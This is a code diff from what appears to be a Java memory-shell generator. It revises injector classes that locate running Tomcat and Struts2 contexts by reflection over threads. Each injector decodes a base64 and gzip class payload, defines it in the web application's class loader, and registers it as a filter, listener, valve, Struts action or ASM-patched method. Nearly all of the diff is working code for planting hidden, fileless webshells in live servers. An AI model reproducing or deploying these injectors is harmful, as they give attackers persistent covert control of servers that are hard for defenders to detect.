+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    public Object getContext() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            ClassLoader contextClassLoader = thread.getContextClassLoader();
+            if (contextClassLoader != null) {
+                try {
+                    Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
+                    Object context = clazz.getMethod("getContext").invoke(null);
+                    if (context != null) {
+                        return context;
+                    }
+                } catch (ClassNotFoundException e) {
+                    continue;
+                }
+            }
+        }
+        return null;
+    }
+
+    private void inject(Object context, Object shell) throws Exception {
+        Object actionInvocation = invokeMethod(context, "getActionInvocation");
+        Object actionProxy = getFieldValue(actionInvocation, "proxy");
+        Object configuration = getFieldValue(actionProxy, "configuration");
+        Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
+        Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
+        for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
+            String namespace = entry.getKey();
+            Map<String, Object> configs = entry.getValue();
+            if (!configs.isEmpty()) {
+                Object firstActionConfig = configs.entrySet().iterator().next().getValue();
+                String actionName = getUrlPattern().substring(1);
+                if (configs.containsKey(actionName)) {
+                    continue;
+                }
+                String packageName = (String) getFieldValue(firstActionConfig, "packageName");
+                Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
+                Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
+                actionConfigConstructor.setAccessible(true);
+                Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
+                configs.put(actionName, actionConfig);
+                msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
+            }
+        }
+    }
+
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Object interceptor = null;
+        try {
+            interceptor = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+            interceptor = clazz.newInstance();
+        }
+        return interceptor;
+    }
+
+    @Override
+    public String toString() {
+        return msg;
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName) throws
+            Exception {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
+            Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+        } finally {
+            if (gzipInputStream != null) {
+                try {
+                    gzipInputStream.close();
+                } catch (IOException ignored) {
+                }
+            }
+            out.close();
+        }
+        return out.toByteArray();
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java

@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
 
 import org.objectweb.asm.*;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
 import java.lang.instrument.ClassFileTransformer;
 import java.lang.instrument.Instrumentation;
 import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
 
 /**
  * @author ReaJason
@@ -18,6 +21,10 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
         return "{{advisorName}}";
     }
 
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
     public static void premain(String args, Instrumentation inst) throws Exception {
         launch(inst);
     }
@@ -42,6 +49,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
     public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
                             ProtectionDomain protectionDomain, byte[] bytes) {
         if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
             try {
                 ClassReader cr = new ClassReader(bytes);
                 ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -70,7 +78,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
                 MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
                 if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
                     Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                    return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
                 }
                 return mv;
             }
@@ -150,4 +158,58 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
             return index;
         }
     }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
 }

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java

@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
 
 import org.objectweb.asm.*;
 
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
 import java.lang.instrument.ClassFileTransformer;
 import java.lang.instrument.Instrumentation;
 import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
 
 /**
  * @author ReaJason
@@ -18,6 +21,10 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
         return "{{advisorName}}";
     }
 
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
     public static void premain(String args, Instrumentation inst) throws Exception {
         launch(inst);
     }
@@ -42,6 +49,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
     public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
                             ProtectionDomain protectionDomain, byte[] bytes) {
         if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
             try {
                 ClassReader cr = new ClassReader(bytes);
                 ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -70,7 +78,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
                 MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
                 if (TARGET_METHOD_NAME.equals(name)) {
                     Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                    return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    return new TomcatFilterChainAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
                 }
                 return mv;
             }
@@ -150,4 +158,58 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
             return index;
         }
     }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
 }

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -18,19 +18,37 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
 
     public TomcatFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -39,9 +57,51 @@ public class TomcatFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
+    /**
+     * org.apache.catalina.core.StandardContext
+     * /usr/local/tomcat/server/lib/catalina.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -59,41 +119,6 @@ public class TomcatFilterInjector {
         return c + "(" + r + ")";
     }
 
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
-    /**
-     * org.apache.catalina.core.StandardContext
-     * /usr/local/tomcat/server/lib/catalina.jar
-     */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-            }
-        }
-        return contexts;
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -126,15 +151,18 @@ public class TomcatFilterInjector {
         }
         Object filterDef;
         Object filterMap;
+        Class<?> filterMapClass;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tomcat v8+
             filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
+            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             // tomcat v5+
             filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+            filterMap = filterMapClass.newInstance();
         }
 
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -152,11 +180,17 @@ public class TomcatFilterInjector {
             // tomcat v5
             invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         }
+
+        // addFilterMapFirst
+        Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
+        Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
+        results[0] = filterMap;
+        System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
         try {
-            // v7.0.0 以上
-            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            // Tomcat5
+            setFieldValue(context, "filterMaps", results);
         } catch (Exception e) {
-            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
         }
 
         Constructor filterConfigConstructor;
@@ -228,20 +262,34 @@ public class TomcatFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
             try {
-                Field field = clazz.getDeclaredField(name);
-                field.setAccessible(true);
-                return field.get(obj);
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
             }
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        Field field = getField(obj, name);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java

@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,27 +26,70 @@ public class TomcatListenerInjector {
     }
 
     public TomcatListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
-                    msg += " [/*] ready\n";
+                    msg += "[/*] ready\n";
                 } catch (Throwable e) {
                     msg += "failed " + getErrorMessage(e) + "\n";
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -63,26 +107,7 @@ public class TomcatListenerInjector {
         return c + "(" + r + ")";
     }
 
-    public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-            }
-        }
-        return contexts;
-    }
-
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -201,30 +226,25 @@ public class TomcatListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

@@ -8,8 +8,7 @@ import java.lang.reflect.Field;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -21,19 +20,33 @@ public class TomcatProxyValveInjector implements InvocationHandler {
 
     private Object rawValve;
     private Object proxyValve;
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
 
     public TomcatProxyValveInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -42,39 +55,15 @@ public class TomcatProxyValveInjector implements InvocationHandler {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
-    @SuppressWarnings("all")
-    private String getContextRoot(Object context) {
-        String r = null;
-        try {
-            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
-        } catch (Exception ignored) {
-        }
-        String c = context.getClass().getName();
-        if (r == null) {
-            return c;
-        }
-        if (r.isEmpty()) {
-            return c + "(/)";
-        }
-        return c + "(" + r + ")";
-    }
-
     public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
         this.rawValve = rawValve;
         this.proxyValve = proxyValve;
     }
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
     @Override
     public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
         if ("invoke".equals(method.getName())) {
@@ -92,25 +81,60 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         return method.invoke(rawValve, args);
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
                 Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
                 for (Object value : childrenMap.values()) {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                     contexts.addAll(children.values());
                 }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
